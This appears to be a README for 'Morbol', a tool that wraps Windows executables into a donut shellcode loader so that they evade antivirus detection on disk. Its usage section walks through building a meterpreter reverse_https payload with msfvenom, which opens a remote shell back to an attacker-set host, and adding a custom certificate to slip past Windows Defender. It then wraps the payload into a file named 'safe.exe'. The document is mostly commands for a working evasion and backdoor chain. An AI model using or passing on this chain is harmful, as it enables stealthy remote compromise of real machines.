morbol

Morbol

Wraps PE Files (PIE required) into a shellcode loader via donut. This mainly evades detection on disk.

Setup

pip3 install donut-shellcode
sudo apt-get install upx

Usage

In my experience the only reliable way to evade defender with meterpreter is to use a reverse_https payload with a custom cert.

• Modify /etc/ssl/openssl.cnf so that CipherString = DEFAULT
• openssl req -new -x509 -nodes -out cert.crt -keyout priv.key
• set HandlerSSLCert on the server side listener

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=... LPORT=...  HandlerSSLCert=... -f exe  > msf.exe
python3 morbol.py msf.exe safe.exe
